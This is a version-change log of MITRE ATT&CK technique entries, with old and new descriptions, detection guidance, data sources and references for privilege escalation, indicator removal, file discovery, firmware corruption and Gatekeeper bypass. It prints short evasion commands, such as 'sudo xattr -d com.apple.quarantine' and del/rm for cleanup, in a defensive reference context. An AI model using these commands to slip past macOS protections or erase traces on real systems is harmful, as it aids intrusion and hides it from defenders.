| > | privileged process which will prevent them from accessing c | > | ged process which will prevent them from accessing certain r | ||
| > | ertain resources on the system. Vulnerabilities may exist, u | > | esources on the system. Vulnerabilities may exist, usually i | ||
| > | sually in operating system components and software commonly | > | n operating system components and software commonly running | ||
| > | running at higher permissions, that can be exploited to gain | > | at higher permissions, that can be exploited to gain higher | ||
| > | higher levels of access on the system. This could enable so | > | levels of access on the system. This could enable someone to | ||
| > | meone to move from unprivileged or user level permissions to | > | move from unprivileged or user level permissions to SYSTEM | ||
| > | SYSTEM or root permissions depending on the component that | > | or root permissions depending on the component that is vulne | ||
| > | is vulnerable. This may be a necessary step for an adversary | > | rable. This could also enable an adversary to move from a vi | ||
| > | compromising a endpoint system that has been properly confi | > | rtualized environment, such as within a virtual machine or c | ||
| > | gured and limits other privilege escalation methods. | > | ontainer, onto the underlying host. This may be a necessary | ||
| > | step for an adversary compromising an endpoint system that h | ||||
| > | as been properly configured and limits other privilege escal | ||||
| > | ation methods. Adversaries may bring a signed vulnerable dr | ||||
| > | iver onto a compromised machine so that they can exploit the | ||||
| > | vulnerability to execute code in kernel mode. This process | ||||
| > | is sometimes referred to as Bring Your Own Vulnerable Driver | ||||
| > | (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Uni | ||||
| > | t42 AcidBox June 2020) Adversaries may include the vulnerabl | ||||
| > | e driver with files delivered during Initial Access or downl | ||||
| > | oad it to a compromised system via [Ingress Tool Transfer](h | ||||
| > | ttps://attack.mitre.org/techniques/T1105) or [Lateral Tool T | ||||
| > | ransfer](https://attack.mitre.org/techniques/T1570). | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics', 'Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security', 'Idan Revivo, @idanr86, Team Nautilus Aqua Security'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 21:12:49.194000+00:00 | 2021-04-22 16:13:34.896000+00:00 |
| description | Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods. | Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods. Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570). |
| x_mitre_data_sources[0] | Windows Error Reporting | Driver: Driver Load |
| x_mitre_detection | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges. | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges. |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET InvisiMole June 2020', 'description': 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf'} | |
| external_references | {'source_name': 'Unit42 AcidBox June 2020', 'description': 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.', 'url': 'https://unit42.paloaltonetworks.com/acidbox-rare-malware/'} | |
| external_references | {'source_name': 'Microsoft Driver Block Rules', 'description': 'Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules'} | |
| x_mitre_platforms | Containers |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Application logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may delete files left behind by the actions of t | t | 1 | Adversaries may delete files left behind by the actions of t |
| > | heir intrusion activity. Malware, tools, or other non-native | > | heir intrusion activity. Malware, tools, or other non-native | ||
| > | files dropped or created on a system by an adversary may le | > | files dropped or created on a system by an adversary (ex: [ | ||
| > | ave traces to indicate to what was done within a network and | > | Ingress Tool Transfer](https://attack.mitre.org/techniques/T | ||
| > | how. Removal of these files can occur during an intrusion, | > | 1105)) may leave traces to indicate to what was done within | ||
| > | or as part of a post-intrusion process to minimize the adver | > | a network and how. Removal of these files can occur during a | ||
| > | sary's footprint. There are tools available from the host o | > | n intrusion, or as part of a post-intrusion process to minim | ||
| > | perating system to perform cleanup, but adversaries may use | > | ize the adversary's footprint. There are tools available fr | ||
| > | other tools as well. Examples include native [cmd](https://a | > | om the host operating system to perform cleanup, but adversa | ||
| > | ttack.mitre.org/software/S0106) functions such as DEL, secur | > | ries may use other tools as well.(Citation: Microsoft SDelet | ||
| > | e deletion tools such as Windows Sysinternals SDelete, or ot | > | e July 2016) Examples of built-in [Command and Scripting Int | ||
| > | her third-party file deletion tools. (Citation: Trend Micro | > | erpreter](https://attack.mitre.org/techniques/T1059) functio | ||
| > | APT Attack Tools) | > | ns include <code>del</code> on Windows and <code>rm</code> o | ||
| > | r <code>unlink</code> on Linux and macOS. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 21:34:16.209000+00:00 | 2022-04-16 18:25:43.231000+00:00 |
| description | Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools) | Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows and rm or unlink on Linux and macOS. |
| external_references[1]['source_name'] | Trend Micro APT Attack Tools | Microsoft SDelete July 2016 |
| external_references[1]['description'] | Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015. | Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018. |
| external_references[1]['url'] | http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ | https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete |
| x_mitre_data_sources[0] | Binary file metadata | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Deletion |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.4
Version changed from: 1.3 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may enumerate files and directories or may searc | t | 1 | Adversaries may enumerate files and directories or may searc |
| > | h in specific locations of a host or network share for certa | > | h in specific locations of a host or network share for certa | ||
| > | in information within a file system. Adversaries may use the | > | in information within a file system. Adversaries may use the | ||
| > | information from [File and Directory Discovery](https://att | > | information from [File and Directory Discovery](https://att | ||
| > | ack.mitre.org/techniques/T1083) during automated discovery t | > | ack.mitre.org/techniques/T1083) during automated discovery t | ||
| > | o shape follow-on behaviors, including whether or not the ad | > | o shape follow-on behaviors, including whether or not the ad | ||
| > | versary fully infects the target and/or attempts specific ac | > | versary fully infects the target and/or attempts specific ac | ||
| > | tions. Many command shell utilities can be used to obtain t | > | tions. Many command shell utilities can be used to obtain t | ||
| > | his information. Examples include <code>dir</code>, <code>tr | > | his information. Examples include <code>dir</code>, <code>tr | ||
| > | ee</code>, <code>ls</code>, <code>find</code>, and <code>loc | > | ee</code>, <code>ls</code>, <code>find</code>, and <code>loc | ||
| > | ate</code>. (Citation: Windows Commands JPCERT) Custom tools | > | ate</code>.(Citation: Windows Commands JPCERT) Custom tools | ||
| > | may also be used to gather file and directory information a | > | may also be used to gather file and directory information an | ||
| > | nd interact with the [Native API](https://attack.mitre.org/t | > | d interact with the [Native API](https://attack.mitre.org/te | ||
| > | echniques/T1106). | > | chniques/T1106). Adversaries may also leverage a [Network De | ||
| > | vice CLI](https://attack.mitre.org/techniques/T1059/008) on | ||||
| > | network devices to gather file and directory information.(Ci | ||||
| > | tation: US-CERT-TA18-106A) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Austin Clark, @c2defense'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016. | |
| external_references | US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. | |
| external_references | CAPEC-127 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'SYSTEM'] | |
| external_references | CAPEC-127 | |
| external_references | CAPEC-497 | |
| external_references | Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:02:16.770000+00:00 | 2022-04-20 18:12:12.362000+00:00 |
| description | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). | Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information.(Citation: US-CERT-TA18-106A) |
| external_references[1]['source_name'] | capec | Windows Commands JPCERT |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/127.html | https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html |
| external_references[2]['source_name'] | capec | US-CERT-TA18-106A |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/497.html | https://www.us-cert.gov/ncas/alerts/TA18-106A |
| external_references[3]['source_name'] | Windows Commands JPCERT | capec |
| external_references[3]['url'] | http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html | https://capec.mitre.org/data/definitions/127.html |
| x_mitre_data_sources[0] | File monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. |
| x_mitre_version | 1.3 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/497.html', 'external_id': 'CAPEC-497'} | |
| x_mitre_platforms | Network |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may overwrite or corrupt the flash memory conten | t | 1 | Adversaries may overwrite or corrupt the flash memory conten |
| > | ts of system BIOS or other firmware in devices attached to a | > | ts of system BIOS or other firmware in devices attached to a | ||
| > | system in order to render them inoperable or unable to boot | > | system in order to render them inoperable or unable to boot | ||
| > | .(Citation: Symantec Chernobyl W95.CIH) Firmware is software | > | , thus denying the availability to use the devices and/or th | ||
| > | that is loaded and executed from non-volatile memory on har | > | e system.(Citation: Symantec Chernobyl W95.CIH) Firmware is | ||
| > | dware devices in order to initialize and manage device funct | > | software that is loaded and executed from non-volatile memor | ||
| > | ionality. These devices could include the motherboard, hard | > | y on hardware devices in order to initialize and manage devi | ||
| > | drive, or video cards. | > | ce functionality. These devices could include the motherboar | ||
| > | d, hard drive, or video cards. In general, adversaries may | ||||
| > | manipulate, overwrite, or corrupt firmware in order to deny | ||||
| > | the use of the system or devices. Depending on the device, t | ||||
| > | his attack may also result in [Data Destruction](https://att | ||||
| > | ack.mitre.org/techniques/T1485). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator', 'root', 'SYSTEM'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:31:46.550000+00:00 | 2022-04-19 23:01:15.945000+00:00 |
| description | Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards. | Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards. In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). |
| external_references[1]['source_name'] | Symantec Chernobyl W95.CIH | MITRE Trustworthy Firmware Measurement |
| external_references[1]['description'] | Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019. | Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016. |
| external_references[1]['url'] | https://www.symantec.com/security-center/writeup/2000-122010-2655-99 | http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research |
| external_references[2]['source_name'] | MITRE Trustworthy Firmware Measurement | Symantec Chernobyl W95.CIH |
| external_references[2]['description'] | Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016. | Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019. |
| external_references[2]['url'] | http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research | https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99 |
| x_mitre_data_sources[0] | BIOS | Firmware: Firmware Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Network |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Component firmware |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file attributes that signify programs | t | 1 | Adversaries may modify file attributes that signify programs |
| > | are from untrusted sources to subvert Gatekeeper controls. | > | are from untrusted sources to subvert Gatekeeper controls i | ||
| > | In macOS and OS X, when applications or programs are downloa | > | n macOS. When documents, applications, or programs are downl | ||
| > | ded from the internet, there is a special attribute set on t | > | oaded an extended attribute (xattr) called <code>com.apple.q | ||
| > | he file called <code>com.apple.quarantine</code>. This attri | > | uarantine</code> can be set on the file by the application p | ||
| > | bute is read by Apple's Gatekeeper defense program at execut | > | erforming the download. This attribute, also known as a quar | ||
| > | ion time and provides a prompt to the user to allow or deny | > | antine flag, is read by Apple's Gatekeeper defense program w | ||
| > | execution. Apps loaded onto the system from USB flash driv | > | hen the file is run and provides a prompt to the user to all | ||
| > | e, optical disk, external hard drive, or even from a drive s | > | ow or deny execution. Gatekeeper also monitors an applicatio | ||
| > | hared over the local network won’t set this flag. Additional | > | n's usage of dynamic libraries (dylibs) loaded outside the a | ||
| > | ly, it is possible to avoid setting this flag using [Drive-b | > | pplication folder on any quarantined binary, often using the | ||
| > | y Compromise](https://attack.mitre.org/techniques/T1189). Th | > | <code>dlopen</code> function. If the quarantine flag is set | ||
| > | is completely bypasses the built-in Gatekeeper check. (Citat | > | in macOS 10.15+, Gatekeeper also checks for a notarization | ||
| > | ion: Methods of Mac Malware Persistence) The presence of the | > | ticket and sends a cryptographic hash to Apple's servers to | ||
| > | quarantine flag can be checked by the xattr command <code>x | > | check for validity for all unsigned executables.(Citation: T | ||
| > | attr /path/to/MyApp.app</code> for <code>com.apple.quarantin | > | heEclecticLightCompany apple notarization )(Citation: Bypass | ||
| > | e</code>. Similarly, given sudo access or elevated permissio | > | ing Gatekeeper) The quarantine flag is an opt-in system and | ||
| > | n, this attribute can be removed with xattr as well, <code>s | > | not imposed by macOS. If an application opts-in, a file dow | ||
| > | udo xattr -r -d com.apple.quarantine /path/to/MyApp.app</cod | > | nloaded from the Internet will be given a quarantine flag be | ||
| > | e>. (Citation: Clearing quarantine attribute) (Citation: Oce | > | fore being saved to disk. Any application or user with write | ||
| > | anLotus for OS X) In typical operation, a file will be dow | > | permissions to the file can change or strip the quarantine | ||
| > | nloaded from the internet and given a quarantine flag before | > | flag. With elevated permission (sudo), this attribute can be | ||
| > | being saved to disk. When the user tries to open the file o | > | removed from any file. The presence of the <code>com.apple. | ||
| > | r application, macOS’s gatekeeper will step in and check for | > | quarantine</code> quarantine flag can be checked with the xa | ||
| > | the presence of this flag. If it exists, then macOS will th | > | ttr command <code>xattr -l /path/to/examplefile</code>. Simi | ||
| > | en prompt the user to confirmation that they want to run the | > | larly, this attribute can be recursively removed from all fi | ||
| > | program and will even provide the URL where the application | > | les in a folder using xattr, <code>sudo xattr -d com.apple.q | ||
| > | came from. However, this is all based on the file being dow | > | uarantine /path/to/folder</code>.(Citation: 20 macOS Common | ||
| > | nloaded from a quarantine-savvy application. (Citation: Bypa | > | Tools and Techniques)(Citation: TheEclecticLightCompany Quar | ||
| > | ssing Gatekeeper) | > | antine and the flag)(Citation: theevilbit gatekeeper bypass | ||
| > | 2021) Apps and files loaded onto the system from a USB flas | ||||
| > | h drive, optical disk, external hard drive, from a drive sha | ||||
| > | red over the local network, or using the <code>curl</code> c | ||||
| > | ommand do not set this flag. Additionally, it is possible to | ||||
| > | avoid setting this flag using [Drive-by Compromise](https:/ | ||||
| > | /attack.mitre.org/techniques/T1189), which may bypass Gateke | ||||
| > | eper. (Citation: Methods of Mac Malware Persistence)(Citatio | ||||
| > | n: Clearing quarantine attribute)(Citation: OceanLotus for O | ||||
| > | S X) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:41:20.063000+00:00 | 2022-05-05 04:58:34.172000+00:00 |
| description | Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.
Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)
In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper) | Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)
The quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)
Apps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X) |
| external_references[1]['source_name'] | Methods of Mac Malware Persistence | theevilbit gatekeeper bypass 2021 |
| external_references[1]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021. |
| external_references[1]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/ |
| external_references[2]['source_name'] | Clearing quarantine attribute | OceanLotus for OS X |
| external_references[2]['description'] | Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017. | Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. |
| external_references[2]['url'] | https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/ | https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update |
| external_references[3]['source_name'] | OceanLotus for OS X | TheEclecticLightCompany Quarantine and the flag |
| external_references[3]['description'] | Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. | hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021. |
| external_references[3]['url'] | https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update | https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/ |
| external_references[4]['source_name'] | Bypassing Gatekeeper | TheEclecticLightCompany apple notarization |
| external_references[4]['description'] | Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017. | How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021. |
| external_references[4]['url'] | https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ | https://eclecticlight.co/2020/08/28/how-notarization-works/ |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_defense_bypassed[0] | Application control | Anti-virus |
| x_mitre_defense_bypassed[1] | Anti-virus | Application Control |
| x_mitre_detection | Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. | The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates.
